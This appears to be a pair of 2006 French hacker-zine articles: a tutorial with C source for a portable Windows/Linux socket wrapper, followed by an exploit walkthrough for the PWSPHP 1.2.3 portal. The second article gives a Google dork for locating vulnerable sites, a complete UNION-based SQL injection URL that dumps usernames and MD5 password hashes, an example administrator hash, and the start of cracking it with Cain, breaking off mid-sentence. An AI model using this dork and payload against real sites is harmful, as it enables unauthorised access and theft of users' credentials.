topic .. ,.-.. ,.., | | .` `. | | |''| |`'---'`| |`'-`| |<<| | _____ | _,,..|[}{]|.,,, _,|<<|,, | \ D / | ,-`` |[}{]| ``', .` `..' `. | |A| | |-,, ``--'' _,-'| | `''--''` | | |T| | | ``'''------''`` | | [ O3 ] | | |A| | | [ Mindkind ] | `. ~~ .' | / \ | `-,, ] 1010 [ _,-' `''--''` _,,,,,,...|| C ||.....,,,,,,_ ``'''------''``` |<<|.-''```` _,,,,,...|[ O ]|...,,,,,,_ ```''-|[}{]| ,``` .,-''``` |[ R ]| ``''-., |[}{]|, | `. _,,,,...|| E ||...,,,,, '|[}{]| | |`-,_ `'-.,,_,`********| \ / |********`._,,.-'` |[}{]|'| | `''-.,,,_ `````'''''---------'''''````` _,,,.-|[}{]| | |`-,_ `````''''''---------'''''''````` |[}{]|'| | `''[ ]|[}{]| | |`-,_ [ NSocket - Socket Layer ]|[}{]|'| | `''[ ] |[}{]| | `-,_ [ ] _,,..|[}{]|.,,, |<;`'-.,,,_ ,-`` |[}{]| ``', ,` ; ```;;;;;;;;---------;;;;;;;;;|-,, ``--'' _,-'| |`-,_ `'-.,,_,`********|[ !?! ]|********`| ``'''------''`` | |`-,_`''-.,,,_ `````'''''---------'''''````| ] Ninja [ | |`-,_`''-.,,, `````''''''---------'''''''```-,, _,-' `-,_`''-.,,,[ ]``'''------''`` |<`|'-.,,,_[ ]_,,,.-|[}{]| |<<| `````''''''---------'''''''````` |[}{]| |<<| |]Aka: [| |[}{]| |<<| ___,,| _____ |....--------------|[}{]|,,,,,,,,,,__ |<<|,,.--'''````` __| \ D / |....--------------|[}{]|,,,,,,,,_ `````'''--..,,_ _.-'`` ,,.--'````` | |A| | |[}{]| `````''-.,, ``'-., ; -` | |T| |,.....----------..|[}{]|,,,_ `' ; |`'-.,, `''-..,,,_.-`| |A| |******************|[}{]|****````-_,,,,,.--'` _,,-'`| | ```''--..,,,,,_ ```````''''''''--------------''''''''``````` __,,,,..--''``` | | ````````''''''''''--------------''''''''''```````` | | | Ninja Avril 2006 Résumé "Ninja Production Present" un autre texte sympa ou batard, selon le lecteur, pour votre bénéfice personnel ou qui sera le "petit quelque chose" qui vous manquait pour vous tirez devant un train. Sans plus tarder, comme vous l'aurez surement remarqué, je vous ai préparé une implémentation, TRÈS non complète, d'une couche d'abstraction pour les sockets sous windows ET linux, w00t. Tables des matières 1. Introduction 2. Pourquoi 3. Portabilité 3.1 Windows vs Linux 3.2 IPv4 vs IPv6 4. Comment 4.1 Fonctions de base 4.2 Autres fonctions 5. Code 6. Conclusion 1. Introduction La définition simple et rapide d'un socket, selon moi no flame s.v.p., est la suivante: une extrémité d'une liaison bidirectionnelle entre deux programmes fonctionnant sur le réseau. Un socket est lié à un port de sorte que la couche TCP, ou n'importe quelle couche "Transport" du modèle OSI, puisse identifier à quelle application seront destinées les données reçues. 2. Pourquoi Par lâcheté? Pour la réutilisation de code? <Entrez votre raison ici>? Les sockets peuvent être un vrai "pain in the ass": Vérifier si c'est bien un IP, version doted ou long, sinon faire la requête DNS pour obtenir le IP associé au nom de l'hôte; vérifier si le port est valide; initialisation du winsock (sous windows duh!); envoyer toutes les données d'un buffeur quelconque; manipuler les sockets non bloquant avec un système de polling [select()]; etc. Alors, pourquoi ne pas faire une fois pour toutes un ensemble de fonctions qui vont faciliter ces tâches en réduisant le code à produire lors de futures projets. 3. Portabilité 3.1 Windows vs Linux Pour ceux qui ont eu l'occasion de jouer avec les sockets sur Linux ET sur Windows, la manipulation des sockets est très similaire à quelques détails près. L'ensemble des fonctions de base comme socket(), listen(), recv(), send(), accept(), etc. sont présente sur les deux plateformes et utilise les mêmes paramètres. Mais il y à quelques petites différences du genre un socket sous linux est de type INT mais sous windows c'est un UNSIGNED INT. Sous windows on doit absolument initialisé winsock avant pouvoir manipuler un socket. De plus, certaines fonctions sous linux ne se retrouvent pas sous windows ou ne prennent simplement pas les mêmes arguments. Il est donc désagréable, pour quelqu'un qui tente de créer une application portable sur ces deux plateformes, d'écrire une application qui utilise les sockets. Il serait donc plus pratique de se créer une librairie de fonctions manipulant les sockets qui serait indépendante de la plateforme sous laquelle elle est compilée. Dans ce cours texte, nous allons nous concentrer uniquement sur linux et windows. 3.2 IPv4 vs IPv6 Malgré le fait que IPv6 ne soit pas grandement répandu, il se peut qu'un jour nous aurons besoin de coder une application qui utilisera IPv6. Comme IPv6 passe certains paramètres qui diffèrent de ce que IPv4 utilise généralement et certaines fonctions ne sont compatibles qu'avec IPv4. Ces différences augmentent l'effort et le temps qu'un progammeur doit investir lors du développement d'une application utilisant les sockets. Nous allons nous concentrer seulement sur le proticol IPv4 puisqu'il s'agit simplement d'un texte explicatif/éducatif et il sera plus facile de lire et comprendre le code en réduisant le nombre de #ifdef, #ifndef, etc. 4. Comment 4.1 Fonctions de base Il existe plusieurs fonctions pour la manipulation des sockets, certaines sont essentielles, d'autre moins. Certaines sont majoritairement utilisées comme support pour d'autres fonctions plus primordiales. Voici donc la liste des fonctions de base que nous allons tenter de porter: socket() - crée un socket bind() - attache un socket a une adresse et/ou un port connect() - ouvre une connexion sur un hôte distant listen() - écoute pour des connexions entrantes accept() - autorise une connexion entrante read() - lire les données reçues de l'hôte write() - envoie des données à l'hôte close() - ferme un socket 4.2 Autres fonctions Toutes autres fonctions ne seront pas portées même si certaines seront utilisées dans les wrapes que nous allons créer. Le but de ce texte n'étant pas de fournir une librairie complète, mais bien de produire un template sur lequel nous pourrons travailler et, idéalement, améliorer. Nous allons néanmoins créer quelques fonctions qui nous seront utiles pour la manipulation des sockets. Elles serviront, entre autres, à valider une adresse ip en format dotted (192.158.0.1), d'initialiser l'environnement (majoritairement sous windows), de récupérer les erreurs socket, etc. 5. Code Nous voici donc au moment attendu, l'implémentation de notre librairie. Le code sera divisé par fichier. Les délimiteurs suivants marque le début et la fin du code d'un fichier: =---------------------------BEGIN file.x --------------------------------= =---------------------------END file.x ----------------------------------= C'est un départ! =---------------------------BEGIN nsocket.h -----------------------------=
/* * fichier: nsocket.h * auteur : ninja * date : 13 May 2006 * desc : * Déclaration des structutures et fonctions permettant une * manipulation plus facile des sockets. * */ #ifndef NSOCKET_H_INCLUDE #define NSOCKET_H_INCLUDE #if defined (_WIN32) || defined (WIN32) #include <winsock2.h> #else #include <sys/types.h> #include <sys/socket.h> #define SOCKET int /* va nous permettre d'utiliser SOCKET comme type sous linux. Sous win, SOCKET == unsigned int */ #define INVALID_SOCKET -1 #endif #define NSOCKLISTENMAX 50 /* longueur max pour la file des connexionsen attente*/ #define NSOCK_TCP 0x001 /* socket de type TCP. Defaut */ #define NSOCK_UDP 0x002 /* socket de type UDP. Defaut à TCP */ #define NSOCK_NONBLOCK 0x004 /* socket non-bloquant. Defaut à bloquant */ #define NSOCK_BIND 0x008 /* binder le socket. Defaut pas de bind() */ #define NSOCK_CLIENT 0x010 /* Defaut */ #define NSOCK_SERVER 0x020 /* socket en mode écoute */ #define NSOCK_CONNECTING 0x040 /* socket essaie de se connecter à un hôte */ #define NSOCK_CLOSED 0x100 /* socket fermé */ #define NSOCK_DEFAULT 0x011 /* NSOCK_TCP & NSOCK_CLIENT */ /* Permet de contrôler si nsocket doit afficher les erreur lui-même ou non */ extern int NSOCKET_DO_VERBOSE; typedef struct nsocket_options_s nsocket_options_t, *pnsocket_options_t; typedef struct nsocket_s nsocket_t, *pnsocket_t; /* cette structure contiens toutes les infos de base niveau pour la manipulation des socekts */ struct nsocket_options_s { SOCKET sockfd; /* socket file descriptor */ int pf; /* protocol family - defaut: PF_INET */ int type; /* socket type - defaut: SOCK_STREAM */ int protocol; /* defaut: (IPPROTO_TCP) */ int af; /* address family - defaut: AF_INET */ struct sockaddr my_addr; struct sockaddr peer_addr; int flags; /* holds NSOCK_ flags */ }; /* contien les infos de haut niveau comme les ips en version dotted et les ports en Host Bits Order */ struct nsocket_s { char* peer_ip; /* remote ip */ unsigned int peer_port; /* remote port */ char* my_ip; /* my ip */ unsigned int my_port; /* my port */ struct nsocket_options_s opts; }; /* fonctions pour la manipulation des sockets. voir nsocket.c pour plus de détails sur leurs fonctionnalités */ int nsocket_init(); int nsocket_shutdown(); int nsocket_isvalideip(const char *ip); int nsocket_get_error(pnsocket_t s); int nsocket_set_nonblock(pnsocket_t s, unsigned long value); pnsocket_t nsocket_create(int flags); int nsocket_bind(pnsocket_t s, const char *my_ip, int my_port); int nsocket_connect(pnsocket_t s, const char *peer_ip, int peer_port); int nsocket_listen(pnsocket_t s); pnsocket_t nsocket_accept(pnsocket_t s); int nsocket_read(pnsocket_t s, char* data, int size); int nsocket_write(pnsocket_t s, const char* data, int size); int nsocket_close(pnsocket_t s); int nsocket_free(pnsocket_t s); int nsocket_opts_init(pnsocket_options_t opts); int nsocket_opts_free(pnsocket_options_t opts); void nsocket_perror(pnsocket_t s, const char *fname, const char *cname); #endif /* not define NSOCKET_H_INCLUDE */
=---------------------------END nsocket.h -------------------------------= =---------------------------BEGIN nsocket.c -----------------------------=
/* * fichier: nsocket.c * auteur : ninja * date : 13 May 2006 * desc : * Implémentation des fonctions permettant une manipulation plus facile * des sockets. * */ #if defined (_WIN32) || defined (WIN32) #include <winsock2.h> #else #include <errno.h> #include <unistd.h> #include <fcntl.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #define _GNU_SOURCE /* needed if we want to use strdup */ #endif #include <string.h> /* malloc(), free()[WIN32], _strdup()[WIN32] */ #include <stdlib.h> /* free() */ #include <stdio.h> /* printf(), stdout */ #include "nsocket.h" #if defined (_WIN32) || defined (WIN32) #define strdup _strdup static WSADATA wsaData; /* si ça ne fonctionne pas */ /*static WSAData wsaData; /* alors essayez ceci */ #endif /* Permet de contrôler si nsocket doit afficher les erreurs lui-même ou non. Par défaut, nsocket affiche un message d'erreur */ int NSOCKET_DO_VERBOSE = 1; /* nsocket_init() * 0: w00t * -1: operation fail * * Sous windows nous devons absolument initialiser l'environnement Winsock * sinon tout appel aux fonctions de manipulation de socket va échouer. */ int nsocket_init() { #if defined (_WIN32) || defined (WIN32) WORD wVersionRequested; // version winsock demandé wVersionRequested = MAKEWORD(2, 2); if(WSAStartup(wVersionRequested, &wsaData) != 0) return -1; /* aucune DLL winsock valide n'a été trouvé */ /* Vérifier si la DLL winsock support bien la version 2.2. */ /* Notez que même si la DLL support une version suppérieur à 2.2, tout en */ /* supportant la 2.2, la valeur retourner dans wVersion sera 2.2 puisque */ /* c'est ce que nous avons demandé. */ if ( LOBYTE( wsaData.wVersion ) != 2 || HIBYTE( wsaData.wVersion ) != 2 ) { WSACleanup(); return -1; /* aucune DLL winsock valide n'a été trouvé */ } #endif return 0; } /* nsocket_shutdown() * 0 : w00t * non zero: operation fail * * Comme nous devons initialiser l'environnement Winsock avant l'utilisation * de socket, nous devons aussi libérer/nettoyer l'environnement après * utilisation. */ int nsocket_shutdown() { #if defined (_WIN32) || defined (WIN32) // on nettoie l'environnement winsock return WSACleanup(); #else return 0; #endif } /* nsocket_isvalideip() * -1: invalide dotted address * 0: valide dotted address * * Valide si l'ip passé en paramètre est bien un ip en format dotted * ex.: 127.0.0.1 */ int nsocket_isvalideip(const char* ip) { #if defined (_WIN32) || defined (WIN32) struct sockaddr addr; int size; /* initialise la mémoire a zéro */ memset(&addr,0,sizeof(addr)); addr.sa_family = AF_INET; /* si on ne spécifie pas, WSAStringToAddress échoue avec WSAEINVAL (10022) */ size = sizeof(addr); if (WSAStringToAddress((LPTSTR)ip,AF_INET,NULL,&addr,&size) == 0) return 0; #else struct in_addr iaddr4; /* nous utilisons inet_pton même si il ne s'agit pas d'un IPv4 puisque cette fonction supporte IPv6 et IPv4. De plus elle est fortement recommandée au lieu de inet_aton */ if (inet_pton(AF_INET,ip,&iaddr4) > 0) return 0; #endif /* ip invalide */ return -1; } /* nsocket_get_error() * retourne le code d'erreur du socket */ int nsocket_get_error(pnsocket_t s) { int size, err; if(s == NULL) return 0; size = sizeof(int); err = 0; getsockopt(s->opts.sockfd, SOL_SOCKET, SO_ERROR, (char*)&err, &size); return(err); } /* nsocket_set_nonblock() * 0 : w00t * non zero: operation fail * * Nous permet de mettre, ou non, le socket en mode non bloquant */ int nsocket_set_nonblock(pnsocket_t s, unsigned long value) { if(s == NULL) return 0; #if defined (_WIN32) || defined (WIN32) return ioctlsocket(s->opts.sockfd, FIONBIO, &value); #else int oldflags = fcntl(s->opts.sockfd, F_GETFL, 0); if (oldflags == -1) return -1; if (value != 0) oldflags |= O_NONBLOCK; else oldflags &= ~O_NONBLOCK; return fcntl(s->opts.sockfd, F_SETFL, oldflags); #endif } /* nsocket_create * pnsocket: pointer sur le nouveau socket * NULL: Erreur */ pnsocket_t nsocket_create(int flags) { pnsocket_t s; int i; /* Sanitarisation (w00t nouveau terme) des flags ...*/ if(flags & NSOCK_UDP && flags & NSOCK_TCP) flags &= ~NSOCK_UDP; if(flags & NSOCK_SERVER && flags & NSOCK_CLIENT) flags &= ~NSOCK_SERVER; flags &= ~NSOCK_CONNECTING; flags |= NSOCK_CLOSED; /* alloue la mémoire pour le nouveau socket */ s = (pnsocket_t)malloc(sizeof(nsocket_t)); /* Initialisation des données membres... */ s->peer_ip = NULL; s->peer_port = 0; s->my_ip = NULL; s->my_port = 0; /* Initialisation des options... */ nsocket_opts_init(&s->opts); /* Copie des flags demandé... */ s->opts.flags = flags; /* Est-ce que le socket doit être UDP ou TCP */ if(flags & NSOCK_UDP) { s->opts.type = SOCK_DGRAM; s->opts.protocol = IPPROTO_UDP; } else { s->opts.type = SOCK_STREAM; s->opts.protocol = IPPROTO_TCP; } /* Création du socket */ if ((s->opts.sockfd = socket(s->opts.af, s->opts.type, s->opts.protocol)) == INVALID_SOCKET) { nsocket_perror(s, "nsocket_create()", "socket"); return NULL; } /* Est-ce que nous voulons un socket non bloquant? */ if (flags & NSOCK_NONBLOCK) i=1; else i=0; if(nsocket_set_nonblock(s, i) !=0) { nsocket_perror(s, "nsocket_create()", "nsocket_set_nonblock"); return NULL; } return(s); } /* nsocket_bind * -1 : une erreur c'est produite * 0 : nsocket invalide ou le bit NSOCK_BIND n'est pas présent * 1 : w00t */ int nsocket_bind(pnsocket_t s, const char *my_ip, int my_port) { #if defined (_WIN32) || defined (WIN32) struct sockaddr addr; int addr_len; #else struct in_addr addr4; #endif int yes; if(s == NULL) return 0; if (!(s->opts.flags & NSOCK_BIND || s->opts.flags & NSOCK_SERVER)) return 0; /* Vérifie si le ip est valide */ if(nsocket_isvalideip(my_ip) != 0) { nsocket_perror(s, "nsocket_bind()", "nsocket_isvalideip"); return -1; } /* Vérifie si le port de l'hôte est valide */ if (my_port < 0 || my_port > 65535) { nsocket_perror(s,"nsocket_bind()", "port invalide"); return -1; } /* Libère l'espace mémoire si déjà alloué... */ if(s->my_ip) free(s->my_ip); /* Archivage du ip et du port... */ s->my_ip = strdup(my_ip); s->my_port = my_port; /* On veut utiliser le port même si il est pris par une autre application. Surtout utile pour un socket en mode listen */ yes=1; setsockopt(s->opts.sockfd,SOL_SOCKET,SO_REUSEADDR, (char*)&yes,sizeof(int)); /* !!! ATTENTION !!! Le code qui suit est EXTRÊMEMENT laid, et est juste un big hack pour contourner certains problèmes d'assignation et de typecasting. Vous avez été prévenu... <hack type="laid" size="gros"> */ ((struct sockaddr_in*)&s->opts.my_addr)->sin_family = AF_INET; ((struct sockaddr_in*)&s->opts.my_addr)->sin_port = htons((u_short)my_port); #if defined (_WIN32) || defined (WIN32) memset(&addr,0,sizeof(addr)); ((struct sockaddr_in*)&addr)->sin_family = AF_INET; addr_len = sizeof(addr); if (WSAStringToAddress(s->my_ip,s->opts.af,NULL,&addr,&addr_len) != 0) return -1; /* ne devrait jamais se produire */ ((struct sockaddr_in*)&s->opts.my_addr)->sin_addr = ((struct sockaddr_in*)&addr)->sin_addr; #else if (inet_pton(AF_INET,s->my_ip,&addr4) <= 0) return -1; /* ne devrait jamais se produire */ ((struct sockaddr_in*)&s->opts.my_addr)->sin_addr = addr4; #endif /* </hack> */ if (bind(s->opts.sockfd, &s->opts.my_addr, sizeof(s->opts.my_addr)) == -1) { nsocket_perror(s, "nsocket_bind()", "bind"); return -1; } return 1; } /* nsocket_connect * -1: une erreur est survenue lors de la tentative/processus de connexion * 0: erreur, nsocket invalide ou nsocket en mode SERVER (listen) * 1: w00t */ int nsocket_connect(pnsocket_t s, const char *peer_ip, int peer_port) { #if defined (_WIN32) || defined (WIN32) struct sockaddr addr; int addr_len; #else struct in_addr addr4; #endif if(s == NULL) return 0; if (!(s->opts.flags & NSOCK_CLIENT)) return 0; /* Vérifie si le ip de l'hôte est valide */ if(nsocket_isvalideip(peer_ip) != 0) { nsocket_perror(s, "nsocket_connect()", "nsocket_isvalideip"); return -1; } /* Vérifie si le port de l'hôte est valide */ if (peer_port < 0 || peer_port > 65535) { nsocket_perror(s,"nsocket_connect()", "port invalide"); return -1; } /* Libère l'espace mémoire si déjà alloué... */ if(s->peer_ip) free(s->peer_ip); /* Archivage du ip et du port... */ s->peer_ip = strdup(peer_ip); s->peer_port = peer_port; /* !!! ATTENTION !!! Le code qui suit est EXTRÊMEMENT laid, et est juste un big hack pour contourner certains problèmes d'assignation et de typecasting. Vous avez été prévenu... <hack type="laid" size="gros"> */ ((struct sockaddr_in*)&s->opts.peer_addr)->sin_family = AF_INET; ((struct sockaddr_in*)&s->opts.peer_addr)->sin_port = htons((u_short)peer_port); #if defined (_WIN32) || defined (WIN32) memset(&addr,0,sizeof(addr)); ((struct sockaddr_in*)&addr)->sin_family = AF_INET; addr_len = sizeof(addr); if (WSAStringToAddress(s->peer_ip,s->opts.af,NULL,&addr,&addr_len) != 0) return -1; /* ne devrait jamais se produire */ ((struct sockaddr_in*)&s->opts.peer_addr)->sin_addr = ((struct sockaddr_in*)&addr)->sin_addr; #else if (inet_pton(AF_INET,s->peer_ip,&addr4) <= 0) return -1; /* ne devrait jamais se produire */ ((struct sockaddr_in*)&s->opts.peer_addr)->sin_addr = addr4; #endif /* </hack> */ s->opts.flags |= NSOCK_CONNECTING; /* connexion en cours */ if (connect(s->opts.sockfd, &s->opts.peer_addr, sizeof(s->opts.peer_addr)) == -1) { /* On ne peut attendre que connect() retourne une error si nous avons configurer le socket en mode non bloquant puisque connect() va toujours retourner une erreur: EINPROGRESS (linux) ou WSAEWOULBLOCK (win32) */ if (s->opts.flags & NSOCK_NONBLOCK && #if defined (_WIN32) || defined (WIN32) WSAGetLastError() == WSAEWOULDBLOCK #else errno == EINPROGRESS #endif ) { s->opts.flags &= ~NSOCK_CLOSED; /* pas vraiment l'endroit idéal pour le faire mais ça doit être fait */ return 1; } nsocket_perror(s, "nsocket_connect()", "connect"); return -1; } /* si nous somme ici, c'est que le socket en en mode bloquant donc connect() à réussie */ s->opts.flags &= ~NSOCK_CONNECTING; s->opts.flags &= ~NSOCK_CLOSED; return 1; } /* nsocket_listen() * -1 : une erreur c'est produite * 0 : nsocket invalide où le bit NSOCK_SERVER n'est pas présent * 1 : w00t */ int nsocket_listen(pnsocket_t s) { if(s == NULL) return 0; if (!(s->opts.flags & NSOCK_SERVER)) return 0; if (listen(s->opts.sockfd, NSOCKLISTENMAX) == -1) { nsocket_perror(s, "nsocket_listen()", "listen"); return -1; } s->opts.flags &= ~NSOCK_CLOSED; /* l'appel à listen() a réussie, donc le socket n'est plus dans l'état 'fermé' */ return 1; } /* nsocket_accept * pnsocket: pointer sur le nouveau socket * NULL: Erreur */ pnsocket_t nsocket_accept(pnsocket_t s) { pnsocket_t new_sock; int sin_size, flags; if(s == NULL) return NULL; flags = NSOCK_DEFAULT; if (s->opts.flags & NSOCK_UDP) return NULL; /* accept ne peut être appelé sur des socket UPD */ if (s->opts.flags & NSOCK_NONBLOCK) flags |= NSOCK_NONBLOCK; if((new_sock = nsocket_create(flags)) == NULL) return NULL; sin_size = sizeof(struct sockaddr); if ((new_sock->opts.sockfd = accept(s->opts.sockfd, &new_sock->opts.peer_addr, &sin_size)) == -1) { nsocket_perror(s,"nsocket_accept()","accept"); return NULL; } new_sock->opts.flags &= ~NSOCK_CLOSED; /* l'appel à accept() a réussie, donc le socket n'est plus dans l'état 'fermé' */ return new_sock; } /* nsocket_read * -1: une erreur c'est produite * 0: connexion fermé par l'hôte * >0: nombre d'octects reçus */ int nsocket_read(pnsocket_t s, char* data, int size) { int nbytes; if(s == NULL) return -1; if (!data || size <= 0) /* si mémoire non allouée ou taille invalide */ return 0; if ((nbytes=recv(s->opts.sockfd, data, size, 0)) == -1) { /* si notre socket est en mode non bloquant qu'il n'y a aucune données dans la file d'attente du socket, recv retourne WSEWOULDBLOCK (win) ou EAGAIN (linux) */ if ((s->opts.flags & NSOCK_NONBLOCK) && #if defined (_WIN32) || defined (WIN32) WSAGetLastError() == WSAEWOULDBLOCK #else errno == EAGAIN #endif ) return -1; /* on retourne -1 mai ce n'est pas une erreur critique il faut donc vérifier WSAGetLastError ou errno pour s'assurer qu'il s'agit bien de WSAEWOULDBLOCK ou EAGAIN Je sais ce n'est pas très pratique, parce que VOUS devez faire la vérification, mais je vais penser à quelque chose pour arranger ça plus tard */ nsocket_perror(s, "nsocket_read()", "recv"); #if defined (_WIN32) || defined (WIN32) if (WSAGetLastError() == WSAECONNRESET) /* connection reset Je n'ai pas chercher pour l'équivalent linux encore */ nsocket_close(s); #endif return(-1); } if (nbytes == 0) { /* connection closed by peer */ nsocket_perror(s, "nsocket_read()", "recv [conn. closed]"); nsocket_close(s); return(0); } return(nbytes); } /* nsocket_write * -1: une erreur c'est produite * n: nombre d'otects envoyés */ int nsocket_write(pnsocket_t s, const char* data, int size) { int n; if(s == NULL) return -1; if (!data || size <= 0) /* si aucune donnée ou taille invalide */ return 0; if((n = send(s->opts.sockfd, data, size, 0)) == -1) { nsocket_perror(s, "sock_got_write()", "send"); return(-1); } return(n); } /* nsocket_close() * -1: une erreur s’est produite * 0: w00t */ int nsocket_close(pnsocket_t s) { if(s == NULL) return 0; if(s->opts.sockfd == INVALID_SOCKET) return 0; if(s->opts.flags & NSOCK_CLOSED) return 0; #if defined (_WIN32) || defined (WIN32) if (shutdown(s->opts.sockfd, SD_BOTH) == -1) { #else if (shutdown(s->opts.sockfd, SHUT_RDWR) == -1) { #endif nsocket_perror(s, "nsocket_close()", "shutdown"); return(-1); } #if defined (_WIN32) || defined (WIN32) if (closesocket(s->opts.sockfd) == -1) { #else if (close(s->opts.sockfd) == -1) { #endif nsocket_perror(s, "nsocket_close()", "close"); return(-1); } nsocket_opts_free(&s->opts); return(0); } /* nsocket_free * -1: pointer invalide * 0: w00t * * Libère un socket créer via nsocket_create ou nsocket_accept */ int nsocket_free(pnsocket_t s) { if(!s) return(-1); if(s->peer_ip) free(s->peer_ip); s->peer_ip = NULL; s->peer_port = 0; if(s->my_ip) free(s->my_ip); s->my_ip = NULL; s->my_port = 0; free(s); s = NULL; return(0); } /* nsocket_opts_init * -1: nsocket_options_t invalide * 0: w00t */ int nsocket_opts_init(pnsocket_options_t opts) { if (!opts) return -1; opts->sockfd = INVALID_SOCKET; opts->pf = PF_INET; opts->type = SOCK_STREAM; opts->protocol = IPPROTO_TCP; opts->af = AF_INET; memset(&(opts->my_addr), '\0', sizeof(opts->my_addr)); memset(&(opts->peer_addr), '\0', sizeof(opts->peer_addr)); opts->flags = NSOCK_CLOSED; return 0; } /* nsocket_opts_free * -1: nsocket_options_t invalide * 0: w00t */ int nsocket_opts_free(pnsocket_options_t opts) { if (!opts) return -1; memset(opts, '\0', sizeof(nsocket_options_t)); return 0; } /* nsocket_perror() * print errno, socket error code and on win32 platform, WSAGetLastError() */ void nsocket_perror(pnsocket_t s, const char *fname, const char *cname) { if(s == NULL) return; if (NSOCKET_DO_VERBOSE) #if defined (_WIN32) || defined (WIN32) printf("\n\t[E] %s: %s - errno: %d SO_ERROR: %d WSAGetLastError: %d\n", fname,cname,errno,nsocket_get_error(s),WSAGetLastError()); #else printf("\n\t[E] %s: %s - errno: %d SO_ERROR: %d\n",fname,cname,errno, nsocket_get_error(s)); #endif }
=---------------------------END nsocket.c -------------------------------= =---------------------------BEGIN test.c --------------------------------=
#include <stdio.h> #include <string.h> #include "nsocket.h" int main(void) { pnsocket_t s; char buf[1024]; int nbytes; /* initialisation */ if(nsocket_init() ==-1) return(-1); /* création du socket */ if ((s = nsocket_create(NSOCK_DEFAULT)) == NULL) return(-1); /* on lance le connect */ if (nsocket_connect(s,"72.14.203.104",80) == -1) { nsocket_perror(s,"main()","nsocket_connect()"); nsocket_close(s); nsocket_free(s); return(-1); } strcpy(buf, "GET / HTTP/1.0\n\n"); if (nsocket_write(s,buf,strlen(buf)) == -1) { nsocket_close(s); nsocket_free(s); return(-1); } if ((nbytes = nsocket_read(s,buf,1024)) == -1) { nsocket_close(s); nsocket_free(s); return(-1); } fwrite("[Read]\n",sizeof(char),7,stdout); if (nbytes) fwrite(buf,sizeof(char),nbytes,stdout); /* on ferme le socket */ nsocket_close(s); nsocket_free(s); /* clean up */ nsocket_shutdown(); return(0); }
=---------------------------END test.c ----------------------------------= 6. Conclusion C'est la partie que je déteste probablement le plus, alors je vais faire ça "sweet and short " comme diraient nos copains anglophones. Si vous trouvez cet article intéressant, utile ou que vous l'avez détesté; faites-moi-le savoir. Bien sûr, si vous n'avez pas aimé dites-moi au moins pourquoi, de façon constructive et non pas juste un chargement d'insulte. Croyez-moi, je sais à qui parler pour en avoir. Sur ce, à une prochaine fois. Oh! Juste comme ça, en passant. Ce code est loin d'être parfait. Je l'ai testé rapidement sur windows et linux mais il y a surement de l'optimisation à faire et peut-être un ou deux bugs. Mais le but de ce texte n'est que de vous donner un exemple ou une base pour un éventuel re-write. _____ ________ ________ ______ ____ __ __ _ /____/ / // // /\ \\ \\ \ \ \ \\ \ ___ / ____//_______//__/ \__\\___\\_\ \_\ \\ \ | | | / / \ | | | | / /\ \ __|___|_|__| _______ ___ __/__/__\__\__ ___ __ __ _ __\\________\\______\\__\\____________//__//_/ /_/ // / |\\ | | | | | / / \ \ | \\| | \___/ | / / /\ \ \ | \ \ / / / / \ \ \ \ | \_______/ / / / /\ \ \ \ __|\\ |______________/ /___/ / \ \___\ \____ ___ __ _ | \\| / / \ \ |__\.
topic .. ,.-.. ,.., | | .` `. | | |''| |`'---'`| |`'-`| |<<| | _____ | _,,..|[}{]|.,,, _,|<<|,, | \ D / | ,-`` |[}{]| ``', .` `..' `. | |A| | |-,, ``--'' _,-'| | `''--''` | | |T| | | ``'''------''`` | | [ O4 ] | | |A| | | [ Mindkind ] | `. ~~ .' | / \ | `-,, ] 1010 [ _,-' `''--''` _,,,,,,...|| C ||.....,,,,,,_ ``'''------''``` |<<|.-''```` _,,,,,...|[ O ]|...,,,,,,_ ```''-|[}{]| ,``` .,-''``` |[ R ]| ``''-., |[}{]|, | `. _,,,,...|| E ||...,,,,, '|[}{]| | |`-,_ `'-.,,_,`********| \ / |********`._,,.-'` |[}{]|'| | `''-.,,,_ `````'''''---------'''''````` _,,,.-|[}{]| | |`-,_ `````''''''---------'''''''````` |[}{]|'| | `''[ ]|[}{]| | |`-,_ [ Exploit PWSPHP V1.2.3 ]|[}{]|'| | `''[ ] |[}{]| | `-,_ [ ] _,,..|[}{]|.,,, |<;`'-.,,,_ ,-`` |[}{]| ``', ,` ; ```;;;;;;;;---------;;;;;;;;;|-,, ``--'' _,-'| |`-,_ `'-.,,_,`********|[ !?! ]|********`| ``'''------''`` | |`-,_`''-.,,,_ `````'''''---------'''''````| ] |Folcan| [ | |`-,_`''-.,,, `````''''''---------'''''''```-,, _,-' `-,_`''-.,,,[ ]``'''------''`` |<`|'-.,,,_[ ]_,,,.-|[}{]| |<<| `````''''''---------'''''''````` |[}{]| |<<| |]Aka: [| |[}{]| |<<| ___,,| _____ |....--------------|[}{]|,,,,,,,,,,__ |<<|,,.--'''````` __| \ D / |....--------------|[}{]|,,,,,,,,_ `````'''--..,,_ _.-'`` ,,.--'````` | |A| | |[}{]| `````''-.,, ``'-., ; -` | |T| |,.....----------..|[}{]|,,,_ `' ; |`'-.,, `''-..,,,_.-`| |A| |******************|[}{]|****````-_,,,,,.--'` _,,-'`| | ```''--..,,,,,_ ```````''''''''--------------''''''''``````` __,,,,..--''``` | | ````````''''''''''--------------''''''''''```````` | | | Prérequis : Portail PWSPHP Version 1.2.3 ou intérieur Module de sondage non patché Utilitaire de crackage de md5 de type JTR ou Cain Pour Cain : www.oxid.it/cain.html Faille : La faille est de type SQL Injection dans l’url, et réside dans une injection de type Union. En effet, les modules de sondage filtrent mal la variable « Id », et permettent d’exploiter une injection SQL à des fins malicisieuse. Vulnérabilité découverte par papipsycho Date de parution de la faille : 27/02/2006 Utilisation : Pour commencer, il faut trouver une version faillible, pour cela, google est votre meilleur ami ! En effet, le puissant moteur de recherche permet de faire une recherche en fonction de l’url. Nous savons que ce type de portail avec le module de sondage comportera toujours l’url suivante : www.exemple.com/index.php?mod=sondages Il nous suffit alors de taper sous google : inurl:index.php?mod=sondages Vous tombez alors sur une liste de près de 1700 portails faillible. Après quelques tests, nous arrivons sans mal trouver un site faillible que nous nommerons : www.sitefaillible.com/index.php?mod=sondage Et cela nous donne : Voici l’url préformaté du union pour exploiter la faille : www.sitefaillible.com/index.php?mod=sondages&do=results&id=1%20union%20select%20id,0,0, pseudo,pass,pseudo,0,0,0,0,0,0,0,0,0,0,0,0,0,0%20from%20%60users%60%20/* Vous tomberez alors, si le site est faillible, sur les résultats des sondages, par users, avec en prime, leur mot de passes cryptés en md5 !!! Comme par exemple : Il nous suffit de connaitre alors le login de l’admin, en fesant une recherche sur le forum du pseudo Administrateur. Ici, le pseudo était Olivier, et le mot de passe crypté : b5f2196812e36999f1358e365799d085 Lançons maintenant notre fameux Cain et crackons le 